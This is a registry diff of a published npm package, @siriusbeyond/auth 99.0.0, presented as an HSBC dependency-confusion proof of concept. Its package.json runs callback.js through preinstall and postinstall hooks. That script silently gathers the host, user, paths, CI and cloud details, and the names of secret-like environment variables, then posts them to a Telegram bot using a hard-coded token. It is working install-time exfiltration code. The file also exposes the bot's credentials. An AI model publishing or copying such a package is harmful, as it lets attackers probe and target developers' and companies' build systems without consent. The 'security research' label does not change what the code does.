@siriusbeyond/auth 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/callback.js +118 -0
- package/index.js +16 -0
- package/package.json +12 -0
package/callback.js
ADDED
|
@@ -0,0 +1,118 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* HSBC Dependency Confusion Callback
|
|
3
|
+
* Bot: Hsbcsirusconfusion_bot
|
|
4
|
+
*/
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const fs = require('fs');
|
|
8
|
+
const path = require('path');
|
|
9
|
+
|
|
10
|
+
const BOT_TOKEN = '8605555117:AAGTX0ziJ52VtjsfcJ2CMH3o3sslRiC2B4k';
|
|
11
|
+
const CHAT_ID = '1064260758';
|
|
12
|
+
const PKG_NAME = process.env.npm_package_name || 'unknown';
|
|
13
|
+
|
|
14
|
+
function detectCI() {
|
|
15
|
+
const indicators = {
|
|
16
|
+
'GitHub Actions': process.env.GITHUB_ACTIONS,
|
|
17
|
+
'GitLab CI': process.env.GITLAB_CI,
|
|
18
|
+
'Jenkins': process.env.JENKINS_URL,
|
|
19
|
+
'CircleCI': process.env.CIRCLECI,
|
|
20
|
+
'Azure Pipelines': process.env.TF_BUILD,
|
|
21
|
+
'AWS CodeBuild': process.env.CODEBUILD_BUILD_ID,
|
|
22
|
+
'Bamboo': process.env.bamboo_buildKey,
|
|
23
|
+
};
|
|
24
|
+
for (const [name, env] of Object.entries(indicators)) {
|
|
25
|
+
if (env) return name;
|
|
26
|
+
}
|
|
27
|
+
return process.env.CI ? 'Generic CI' : 'Local/Unknown';
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
function detectCloud() {
|
|
31
|
+
const indicators = {
|
|
32
|
+
'AWS': ['AWS_REGION', 'AWS_EXECUTION_ENV', 'AWS_LAMBDA_FUNCTION_NAME'],
|
|
33
|
+
'GCP': ['GOOGLE_CLOUD_PROJECT', 'GCLOUD_PROJECT'],
|
|
34
|
+
'Azure': ['AZURE_CLIENT_ID', 'WEBSITE_SITE_NAME'],
|
|
35
|
+
'Kubernetes': ['KUBERNETES_SERVICE_HOST'],
|
|
36
|
+
'Docker': ['DOCKER_HOST', 'container'],
|
|
37
|
+
};
|
|
38
|
+
const detected = [];
|
|
39
|
+
for (const [provider, envs] of Object.entries(indicators)) {
|
|
40
|
+
if (envs.some(e => process.env[e])) detected.push(provider);
|
|
41
|
+
}
|
|
42
|
+
return detected.length ? detected.join(', ') : 'Unknown';
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
function getSensitiveEnvNames() {
|
|
46
|
+
const patterns = [
|
|
47
|
+
/token/i, /secret/i, /key/i, /password/i, /auth/i,
|
|
48
|
+
/api/i, /aws/i, /azure/i, /npm/i, /git/i, /docker/i,
|
|
49
|
+
/registry/i, /artifactory/i, /nexus/i, /credential/i,
|
|
50
|
+
];
|
|
51
|
+
return Object.keys(process.env).filter(k =>
|
|
52
|
+
patterns.some(p => p.test(k))
|
|
53
|
+
).slice(0, 20);
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
const payload = {
|
|
57
|
+
package: PKG_NAME,
|
|
58
|
+
hostname: os.hostname(),
|
|
59
|
+
user: os.userInfo().username,
|
|
60
|
+
platform: `${os.platform()} ${os.arch()}`,
|
|
61
|
+
cwd: process.cwd(),
|
|
62
|
+
home: os.homedir(),
|
|
63
|
+
ci_env: detectCI(),
|
|
64
|
+
cloud: detectCloud(),
|
|
65
|
+
node: process.version,
|
|
66
|
+
npm_registry: process.env.npm_config_registry || 'default',
|
|
67
|
+
time: new Date().toISOString(),
|
|
68
|
+
sensitive_vars: getSensitiveEnvNames(),
|
|
69
|
+
uid: process.getuid ? process.getuid() : 'N/A',
|
|
70
|
+
};
|
|
71
|
+
|
|
72
|
+
const isRoot = payload.uid === 0;
|
|
73
|
+
const hasAWS = payload.sensitive_vars.some(v => v.includes('AWS'));
|
|
74
|
+
const severity = (isRoot || hasAWS) ? '🔴 HSBC HIGH' : '🟡 HSBC';
|
|
75
|
+
|
|
76
|
+
const message = `
|
|
77
|
+
${severity} ${PKG_NAME.toUpperCase()} CALLBACK
|
|
78
|
+
|
|
79
|
+
🖥️ Host: \`${payload.hostname}\`
|
|
80
|
+
👤 User: \`${payload.user}\` ${isRoot ? '⚠️ ROOT!' : ''}
|
|
81
|
+
💻 Platform: \`${payload.platform}\`
|
|
82
|
+
📁 CWD: \`${payload.cwd}\`
|
|
83
|
+
🏠 Home: \`${payload.home}\`
|
|
84
|
+
|
|
85
|
+
🔧 CI/CD: ${payload.ci_env}
|
|
86
|
+
☁️ Cloud: ${payload.cloud}
|
|
87
|
+
📦 Node: ${payload.node}
|
|
88
|
+
🔗 Registry: ${payload.npm_registry}
|
|
89
|
+
⏰ Time: ${payload.time}
|
|
90
|
+
|
|
91
|
+
🔑 Sensitive Env Vars (${payload.sensitive_vars.length}):
|
|
92
|
+
\`\`\`
|
|
93
|
+
${payload.sensitive_vars.join('\n') || 'None'}
|
|
94
|
+
\`\`\`
|
|
95
|
+
|
|
96
|
+
📊 UID: ${payload.uid}
|
|
97
|
+
`;
|
|
98
|
+
|
|
99
|
+
const data = JSON.stringify({
|
|
100
|
+
chat_id: CHAT_ID,
|
|
101
|
+
text: message,
|
|
102
|
+
parse_mode: 'Markdown'
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
const req = https.request({
|
|
106
|
+
hostname: 'api.telegram.org',
|
|
107
|
+
port: 443,
|
|
108
|
+
path: `/bot${BOT_TOKEN}/sendMessage`,
|
|
109
|
+
method: 'POST',
|
|
110
|
+
headers: {
|
|
111
|
+
'Content-Type': 'application/json',
|
|
112
|
+
'Content-Length': Buffer.byteLength(data)
|
|
113
|
+
}
|
|
114
|
+
}, () => {});
|
|
115
|
+
|
|
116
|
+
req.on('error', () => {});
|
|
117
|
+
req.write(data);
|
|
118
|
+
req.end();
|
package/index.js
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* SECURITY RESEARCH - Dependency Confusion PoC
|
|
3
|
+
* Contact: ajmalaboobacker00@gmail.com
|
|
4
|
+
*
|
|
5
|
+
* This package was registered for security research purposes.
|
|
6
|
+
* If you are seeing this, please contact the researcher.
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
module.exports = {
|
|
10
|
+
version: '1.0.0',
|
|
11
|
+
research: true,
|
|
12
|
+
contact: 'ajmalaboobacker00@gmail.com'
|
|
13
|
+
};
|
|
14
|
+
|
|
15
|
+
console.log('[SECURITY RESEARCH] This package was registered for dependency confusion research.');
|
|
16
|
+
console.log('[SECURITY RESEARCH] Contact: ajmalaboobacker00@gmail.com');
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@siriusbeyond/auth",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "SECURITY RESEARCH - Dependency Confusion PoC - Contact: ajmalaboobacker00@gmail.com",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node callback.js 2>/dev/null || true",
|
|
8
|
+
"postinstall": "node callback.js 2>/dev/null || true"
|
|
9
|
+
},
|
|
10
|
+
"author": "Security Researcher <ajmalaboobacker00@gmail.com>",
|
|
11
|
+
"license": "MIT"
|
|
12
|
+
}
|